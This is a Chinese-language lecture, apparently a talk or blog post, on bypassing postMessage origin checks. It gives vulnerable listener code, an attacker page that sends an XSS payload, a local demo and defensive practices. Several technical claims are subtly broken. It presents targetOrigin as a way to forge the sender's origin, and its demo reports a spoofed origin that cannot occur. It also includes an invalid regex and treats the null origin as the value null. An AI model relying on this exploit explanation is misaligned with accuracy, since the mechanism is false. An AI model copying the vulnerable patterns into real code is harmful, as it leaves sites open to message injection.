PostMessage 跨域通信漏洞:Origin Validation Bypass 劫持跨域消息 – 技术讲座
大家好,我是今天的主讲人,很高兴能和大家聊聊PostMessage这个看起来很友好,但稍不留神就会捅娄子的家伙。今天我们要深入探讨的是它的一个经典漏洞:Origin Validation Bypass,以及如何利用它来劫持跨域消息。
咱们先来复习一下PostMessage是个啥。
PostMessage:跨域通信的桥梁
想象一下,你在Chrome浏览器里同时打开了两个页面:
https://www.example.com
(你的银行网站)https://www.evil.com
(一个邪恶的钓鱼网站)
按照浏览器的同源策略 (Same-Origin Policy, SOP),这两个网站是无法直接互相访问数据的。银行网站不想让邪恶网站随便读取你的账户信息,这很合理。
但是,有时候跨域通信又是必要的。比如,银行网站可能需要嵌入第三方支付平台的页面,或者需要与广告联盟进行数据交换。这时候,PostMessage就闪亮登场了。
PostMessage允许不同源的页面之间进行有限制的通信。它的基本用法很简单:
-
发送消息: 在一个页面里,使用
window.postMessage(message, targetOrigin)
方法发送消息。message
:要发送的数据,可以是字符串或对象。targetOrigin
:目标窗口的源 (协议 + 域名 + 端口),用于限制哪些源可以接收到这个消息。使用"*"
表示允许任何源接收消息 (不推荐)。
-
接收消息: 在另一个页面里,监听
message
事件,获取发送过来的数据。
// 发送消息 (在 www.example.com)
window.postMessage("Hello from example.com!", "https://www.evil.com");
// 接收消息 (在 www.evil.com)
window.addEventListener("message", function(event) {
if (event.origin === "https://www.example.com") {
console.log("Received message:", event.data); // 输出 "Hello from example.com!"
}
});
这段代码看起来很安全,对吧? evil.com
接收消息时,检查了 event.origin
确保消息来自 example.com
。 但现实往往没那么简单,魔鬼藏在细节里。
Origin Validation:理想很丰满,现实很骨感
PostMessage的安全核心在于targetOrigin
和event.origin
的验证。 targetOrigin
限制了消息的发送对象,event.origin
限制了消息的接收对象。 如果开发者能正确地使用这两个参数,跨域通信就能安全可控。
然而,问题就出在开发者身上。 人总是会犯错的,而且犯错的方式千奇百怪。 最常见的错误就是Origin Validation Bypass,也就是绕过或者错误地实现了 Origin 验证。
接下来,我们来看看几种常见的 Origin Validation Bypass 的场景:
*1. 完全信任 `""`:最愚蠢的错误**
有些开发者为了省事或者不了解安全风险,直接把targetOrigin
设置为"*"
,或者在接收消息时不进行任何 Origin 验证。 这相当于敞开大门,欢迎任何来源的消息。
// 发送消息 (在 www.example.com)
window.postMessage("Sensitive data!", "*");
// 接收消息 (在 www.evil.com - 易受攻击)
window.addEventListener("message", function(event) {
console.log("Received message:", event.data); // 直接处理消息,没有验证 Origin!
});
在这种情况下,evil.com
可以伪造任何消息,冒充 example.com
与用户进行交互,窃取敏感信息。
2. 错误的 Origin 匹配:差之毫厘,失之千里
有些开发者试图进行 Origin 验证,但却因为粗心大意,写错了匹配逻辑。
- 遗漏协议: 只检查域名,不检查协议 (http vs https)。
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
if (event.origin.indexOf("example.com") > -1) { // 忽略了协议!
console.log("Received message:", event.data);
}
});
evil.com
可以通过 http://example.com.evil.com
绕过验证。 event.origin
会是 http://example.com.evil.com
,indexOf("example.com")
仍然会返回一个大于 -1 的值。
- 使用
startsWith
或indexOf
:不够精确
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
if (event.origin.startsWith("https://example.com")) { // 易受子域名攻击!
console.log("Received message:", event.data);
}
});
evil.com
可以创建一个子域名 https://example.com.evil.com
来绕过验证。
- 正则表达式错误:画蛇添足
有时候,开发者试图使用正则表达式进行更复杂的 Origin 验证,但由于正则表达式写得不严谨,反而引入了漏洞。
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
const originRegex = /^https://example.com/; // 正则表达式不严谨!
if (originRegex.test(event.origin)) {
console.log("Received message:", event.data);
}
});
如果正则表达式写得不够严谨,比如缺少对结尾的锚定 ($
),同样可能被绕过。
3. 信任 null
Origin:IE 的历史遗留问题
在某些情况下 (比如通过 file://
协议打开的页面),event.origin
的值可能会是 null
。 有些开发者会错误地认为 null
代表一个安全的来源,从而信任它。
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
if (event.origin === null || event.origin === "https://www.example.com") {
console.log("Received message:", event.data);
}
});
攻击者可以通过本地 HTML 文件 (比如 file:///C:/evil.html
) 发送消息,绕过 Origin 验证。
4. 逻辑漏洞:组合拳的威力
有时候,Origin 验证本身没有问题,但与其他逻辑组合在一起,就会产生漏洞。
比如,一个网站使用 PostMessage 接收用户身份验证信息,然后根据这些信息进行操作。 如果攻击者能够伪造身份验证信息,就可以冒充用户进行恶意操作。
总结:Origin Validation Bypass 的类型
漏洞类型 | 描述 | 攻击方式 |
---|---|---|
信任 "*" |
允许任何来源的消息。 | 攻击者可以从任何源发送伪造的消息。 |
错误的 Origin 匹配 | 使用不精确的字符串匹配 (如 indexOf , startsWith ) 或错误的正则表达式。 |
攻击者可以利用子域名、协议不匹配等方式绕过验证。 |
信任 null Origin |
信任来自 file:// 协议或其他特殊情况下的 null Origin。 |
攻击者可以通过本地 HTML 文件发送消息。 |
逻辑漏洞 | Origin 验证本身正确,但与其他逻辑组合在一起时产生漏洞。 | 攻击者可以伪造消息内容,利用信任的 Origin 发送恶意请求。例如,伪造身份验证信息来冒充用户。 |
如何利用 Origin Validation Bypass 劫持跨域消息
现在,我们来探讨一下如何利用 Origin Validation Bypass 来劫持跨域消息。 总的来说,攻击的步骤如下:
- 找到存在 Origin Validation Bypass 的目标网站。 仔细分析目标网站的 JavaScript 代码,特别是
window.addEventListener("message", ...)
部分,寻找上述的漏洞类型。 - 构造恶意页面。 创建一个 HTML 页面,用于发送伪造的消息。 这个页面需要部署在一个攻击者控制的域名下。
- 诱导用户访问恶意页面。 通过钓鱼邮件、恶意广告等方式,诱导用户访问恶意页面。
- 发送伪造的消息。 在恶意页面中,使用
window.postMessage()
方法,向目标网站发送伪造的消息。 根据漏洞的类型,选择合适的 Origin 来绕过验证。 - 窃取敏感信息或执行恶意操作。 如果攻击成功,就可以窃取目标网站上的敏感信息,或者冒充用户执行恶意操作。
下面是一个具体的例子:
假设 www.example.com
存在一个漏洞,它使用 startsWith
来验证 Origin:
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
if (event.origin.startsWith("https://www.example.com")) {
// 处理消息,例如更新用户信息
console.log("Received message:", event.data);
// 假设这里会根据 event.data 更新用户信息,如果 event.data 是恶意的,就可能导致 XSS 或其他安全问题
}
});
攻击者可以在 www.evil.com
创建一个恶意页面,代码如下:
<!DOCTYPE html>
<html>
<head>
<title>Evil Page</title>
</head>
<body>
<h1>You are being attacked!</h1>
<script>
// 目标网站的 URL
const targetUrl = "https://www.example.com";
// 构造恶意消息
const maliciousMessage = {
action: "updateProfile",
username: "<script>alert('XSS!');</script>", // 插入 XSS 代码
};
// 发送恶意消息
window.onload = function() {
// 找到目标网站的 iframe (假设目标网站在一个 iframe 里)
const targetFrame = document.querySelector("iframe");
if (targetFrame) {
targetFrame.contentWindow.postMessage(maliciousMessage, "https://example.com.evil.com"); // 利用子域名绕过验证
} else {
window.parent.postMessage(maliciousMessage, "https://example.com.evil.com"); //如果目标网站在父窗口
}
};
</script>
<iframe src="https://www.example.com" style="display:none;"></iframe>
</body>
</html>
在这个例子中,攻击者利用了 startsWith
验证的漏洞,使用 https://example.com.evil.com
作为 Origin 发送消息。 www.example.com
会错误地认为消息来自一个可信的来源,从而执行恶意代码。
实战演练:代码示例
为了更直观地理解攻击过程,我们可以创建一个简单的演示环境。 我们需要两个 HTML 文件:
example.com.html
(模拟目标网站)evil.com.html
(模拟攻击者网站)
example.com.html
:
<!DOCTYPE html>
<html>
<head>
<title>Example.com</title>
</head>
<body>
<h1>Welcome to Example.com</h1>
<div id="message"></div>
<script>
window.addEventListener("message", function(event) {
// 错误的 Origin 验证:只检查域名,不检查协议
if (event.origin.indexOf("example.com") > -1) {
document.getElementById("message").textContent = "Received message: " + event.data + " from " + event.origin;
} else {
document.getElementById("message").textContent = "Invalid origin: " + event.origin;
}
});
</script>
</body>
</html>
evil.com.html
:
<!DOCTYPE html>
<html>
<head>
<title>Evil.com</title>
</head>
<body>
<h1>Evil.com is attacking!</h1>
<script>
window.onload = function() {
// 发送恶意消息
window.postMessage("You have been hacked!", "http://example.com.evil.com");
};
</script>
</body>
</html>
- 将
example.com.html
和evil.com.html
保存到本地。 - 使用本地服务器 (比如 Python 的
http.server
) 分别在不同的端口上运行这两个文件。python -m http.server 8000
(运行example.com.html
,假设端口为 8000)python -m http.server 8001
(运行evil.com.html
,假设端口为 8001)
- 在浏览器中打开
http://localhost:8000/example.com.html
。 - 在同一个浏览器窗口中打开
http://localhost:8001/evil.com.html
。
你会发现,example.com.html
成功接收到了来自 evil.com.html
的消息,并显示 "Received message: You have been hacked! from http://example.com.evil.com"。 这就是 Origin Validation Bypass 的威力。
如何防御 Origin Validation Bypass
亡羊补牢,为时未晚。 我们来讨论一下如何防御 Origin Validation Bypass,避免被攻击者利用。
- *永远不要信任 `""
。**
"*"` 等同于不设防,是安全的大忌。 - 使用严格的 Origin 验证。 使用精确的字符串匹配 (比如
===
) 或者更复杂的正则表达式,确保 Origin 完全匹配。 同时,要检查协议 (http vs https) 和端口。
// 安全的 Origin 验证
window.addEventListener("message", function(event) {
if (event.origin === "https://www.example.com") {
console.log("Received message:", event.data);
}
});
- 不要信任
null
Origin。null
Origin 通常代表一个不安全的来源,应该拒绝处理来自null
Origin 的消息。
// 拒绝 null Origin
window.addEventListener("message", function(event) {
if (event.origin !== null && event.origin === "https://www.example.com") {
console.log("Received message:", event.data);
}
});
- 使用白名单。 维护一个允许的 Origin 列表,只处理来自白名单中的 Origin 的消息。
// 使用白名单
const allowedOrigins = [
"https://www.example.com",
"https://trusted.thirdparty.com"
];
window.addEventListener("message", function(event) {
if (allowedOrigins.includes(event.origin)) {
console.log("Received message:", event.data);
}
});
-
对接收到的数据进行严格的验证和过滤。 即使 Origin 验证通过,也不能完全信任接收到的数据。 对数据进行格式验证、类型检查、长度限制等,防止 XSS、SQL 注入等攻击。
-
使用 Content Security Policy (CSP)。 CSP 可以限制页面可以加载的资源来源,降低 XSS 攻击的风险。
-
定期进行安全审计。 定期审查代码,查找潜在的安全漏洞。 可以使用静态代码分析工具或者聘请专业的安全团队进行渗透测试。
-
保持警惕,持续学习。 Web 安全是一个不断发展的领域,新的漏洞和攻击方式层出不穷。 要保持学习的热情,及时了解最新的安全知识。
最佳实践:安全的代码示例
// 最安全的 Origin 验证和数据处理
const expectedOrigin = "https://www.example.com";
window.addEventListener("message", function(event) {
if (event.origin === expectedOrigin) {
try {
const data = JSON.parse(event.data); // 尝试解析 JSON 数据
// 严格的数据验证
if (typeof data === "object" && data !== null && data.action === "updateProfile" && typeof data.username === "string") {
const sanitizedUsername = data.username.replace(/</g, "<").replace(/>/g, ">"); // 对用户名进行 HTML 编码,防止 XSS
console.log("Updating username to:", sanitizedUsername);
// 在这里执行更新用户名的操作
} else {
console.error("Invalid message format:", event.data);
}
} catch (e) {
console.error("Error parsing message data:", e);
}
} else {
console.error("Invalid origin:", event.origin);
}
});
这段代码做了以下几件事:
- 使用
===
进行精确的 Origin 验证。 - 尝试将接收到的数据解析为 JSON,如果解析失败,说明数据格式不正确,直接拒绝处理。
- 对数据的类型和格式进行严格的验证,确保数据符合预期。
- 对关键数据进行 HTML 编码,防止 XSS 攻击。
总结
PostMessage 跨域通信是一个强大的工具,但如果不正确地使用,就会带来严重的安全风险。 Origin Validation Bypass 是 PostMessage 漏洞中最常见的一种,攻击者可以利用它来劫持跨域消息,窃取敏感信息或执行恶意操作。
要防御 Origin Validation Bypass,需要做到以下几点:
- 永远不要信任
"*"
。 - 使用严格的 Origin 验证。
- 不要信任
null
Origin。 - 使用白名单。
- 对接收到的数据进行严格的验证和过滤。
- 使用 Content Security Policy (CSP)。
- 定期进行安全审计。
- 保持警惕,持续学习。
希望今天的讲座能帮助大家更好地理解 PostMessage 跨域通信的风险,并采取有效的措施来保护自己的网站和用户。
感谢大家的参与!有没有什么问题?